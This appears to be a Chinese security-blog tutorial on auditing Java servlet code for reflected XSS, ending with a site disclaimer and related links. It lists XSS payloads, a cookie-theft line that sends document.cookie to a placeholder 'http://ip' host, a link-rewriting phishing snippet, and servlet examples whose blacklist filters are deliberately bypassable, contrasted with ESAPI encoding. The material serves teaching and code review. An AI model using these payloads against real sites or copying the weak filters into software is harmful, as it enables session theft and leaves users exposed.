java代码审计跨站脚本(XSS)–反射型

2024-04-25 909 0

一、基础:跨站脚本(Xss)

一、原理:

恶意攻击者往web页面里插入恶意js代码,而在服务端没有对数据进行严格的过滤。当用户浏览页面时,js代码必须在该html页面中(hrml必须要存在这个而已艾玛),从而达到攻击用户的目的。(攻击者构造的的js代码会被当作正常的HTML、JS代码被解析,执行Js脚本实现攻击意图)

xss可能存在的位置:url,POST、GET的传递参数,HTTP头(Cookie)

二、危害

  1. 流量劫持

  2. 获取用户Cookie信息,盗取账号

  3. 篡改,删除页面信息(钓鱼)

  4. 配合CSRF攻击,实施进一步的攻击

  5. XSS2RCE-控制对方电脑

三、分类

存储型:持久性xss--一劳永逸-存入数据库、session、文件、js(局部)

常见位置:用户留言、评论、用户昵称、用户信息等

反射性:非持久xss--不会存在数据库或某些落地的文件,js

常见位置:用户登录、搜索框、订单

DOM型:特殊的跨站,用户可控数据通过js和DOM技术输出到HTML中,利用方式通常与反射xss类似

四、payload

  1. alert(123)

  2. confirm(123)

  3. prompt(123)

五、利用

  1. 盗取cookie

    1. window.location.herf='http://ip/getCookie.php?cookie=' + document.cookie

  2. 钓鱼获取密码

    1. document.getElementsByTagName("body")[0].onload=function chageLink(){document.getElementByTagName("a")[1].href="http://攻击者IP/rePasswd.php"}`

  3. 流量劫持

    1. 跳转页面法

    2. AJAX提交法

  4. 标签payload

    1. <script>alert(1)</script>

    2. <img src="https://www.freebuf.com/articles/web/xxx" onerror=alert(1)>

    3. <img src="javascript:alert(1)">

    4. <a href="javascript:alert(1)">

六、攻击

  • 构造闭合

    • 用户输入即可能存在XSS注入,当然前提条件为HTML文件必须要存在这个构造的XSS恶意代码。它有可能存在a标签里,也有可能存在input标签里,Less。

  • 构造攻击语句

    • 攻击语句必须多种多样,因为服务器可能对某些攻击语句进行过滤;或也有可能存在某些语句服务器解释错误等。

七、防御

  • 过滤

    • 发现关键字时返回错误

  • 编码

    • 发现关键字进行编码

  • 插入

    • 发现关键字插入改变关键字语义符号

  • 删除

    • 发现关键字时删除关键字

  • 实体化编码

    • 将核心的关键字和关键符号进行过滤

二、审计---跨站脚本(Xss)

1、反射型XSS漏洞

(1)、常见的获取前端数据的方式

场景一、使用Servlet技术:

public static void test2(HttpServletRequest request,HttpServletResponse response) throws IOException {
String try02 = request.getParameter("try02");//获取从前端来的数据

场景二、使用Structs2框架

通过Action类绑定参数或model参数

java代码审计跨站脚本(XSS)–反射型插图

通过Action属性接受参数

java代码审计跨站脚本(XSS)–反射型插图1

场景三:使用SpringMVC获取前端参数:

可以看javaweb

反射型XSS漏洞通过外部输入,然后浏览器触发,审计过程寻找带参数的输出方法,然后根据输出方法对输出内容回溯输入参数

数据是从HttpServletRequest请求对象中获取的,但未对输入和输出数据进行过滤,扰乱以及编码等方面工作,无法对漏洞进行防御

1、未进行任何过滤

public static void test1(HttpServletRequest request,HttpServletResponse response) throws IOException {
String try01 = request.getParameter("try01");
//request.getParameter通过Http协议过来的参数,容器的实现来取得通过get和post方式提交而来数据'try01'
System.out.println("try01="+try01);
}

正常请求:

index.jsp?responseTry01=123

攻击请求:

index.jsp?responseTry01=<script>alert(123)</script>

2、对特殊单词进行过滤(基于黑名单进行过滤)

public static void test2(HttpServletRequest request,HttpServletResponse response) throws IOException {
String try02 = request.getParameter("try02");
if(try02 != null)
{
System.out.println("try02="+try02);
if(try02.contains("<script>"))
{try02 = "this pragram(02) is malice";}
else
{try02 += " try success"}
response.setCharacterEncoding("UTF-8");
response.setContentType("text/html;charset=utf-8");
response.sendRedirect(request.getContextPath()+"/index.jsp?responseTry02="+(try02));
}
}

contains:在字符串找到一个字符序列

3、黑名单过滤并过滤大小写

public static void test3(HttpServletRequest request,HttpServletResponse response) throws IOException {
String try03 = request.getParameter("try03");
if(try03 != null)
{
System.out.println("try03="+try03);
if(try03.toLowerCase().contains("<script>"))
{
try03 = "this pragram(03) is malice";
}
else
{
// try03 += " try success";
}
response.setCharacterEncoding("UTF-8");
response.setContentType("text/html;charset=utf-8");
response.sendRedirect(request.getContextPath()+"/index.jsp?responseTry03="+(try03));
}
}

toLowerCase():将所有字符转换为小写

4、替换数据

public static void test5(HttpServletRequest request,HttpServletResponse response) throws IOException {
String try05 = request.getParameter("try05");
if(try05 != null)
{
System.out.println("try03="+try05);
String payload1 = "</script>";
String payload2 = "<script>";
String payload3 = "<img";
List<String> payloads = new ArrayList<>();
payloads.add(payload1);
payloads.add(payload2);
payloads.add(payload3);
for (int i = 0; i < payloads.size(); i++) {
if (try05.contains(payloads.get(i))){
try05 = try05.replaceAll(payloads.get(i),"");
}
}
System.out.println("try05:"+try05);
response.setCharacterEncoding("UTF-8");
response.setContentType("text/html;charset=utf-8");
response.sendRedirect(request.getContextPath()+"/index.jsp?responseTry05="+(try05));
}
}

通过数据对黑名单数据进行替换

5、对非法字符转义

public static void test4(HttpServletRequest request,HttpServletResponse response) throws IOException {
String try04 = request.getParameter("try04");
if(try04 != null)
{
System.out.println("try04="+try04);
try04 = ESAPI.encoder().encodeForHTML(try04);
//编码的主要意义:使字符串中是Html标签的内容失去被浏览器解析的意义(但是怎么显示怎么显示)
System.out.println("编码处理:"+try04);
response.setCharacterEncoding("UTF-8");
response.setContentType("text/html;charset=utf-8");
response.sendRedirect(request.getContextPath()+"/index.jsp?responseTry04="+URLEncoder.encode(try04 ,"UTF-8"));
}
}

5、将黑名单数据进行替换

public static void test5(HttpServletRequest request,HttpServletResponse response) throws IOException {
String try05 = request.getParameter("try05");
if(try05 != null)
{
System.out.println("try03="+try05);
String payload1 = "</script>";
String payload2 = "<script>";
String payload3 = "<img";
List<String> payloads = new ArrayList<>();
payloads.add(payload1);
payloads.add(payload2);
payloads.add(payload3);
for (int i = 0; i < payloads.size(); i++) {
if (try05.contains(payloads.get(i))){
try05 = try05.replaceAll(payloads.get(i),"");
}
}
System.out.println("try05:"+try05);
response.setCharacterEncoding("UTF-8");
response.setContentType("text/html;charset=utf-8");
response.sendRedirect(request.getContextPath()+"/index.jsp?responseTry05="+(try05));
}
}

4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

webpack打包站点,js文件名批量获取思路
加密对抗靶场enctypt——labs通关
【论文速读】| 注意力是实现基于大语言模型的代码漏洞定位的关键
蓝队技术——Sysmon识别检测宏病毒
内网渗透学习|powershell上线cs
LLM attack中的API调用安全问题及靶场实践

发布评论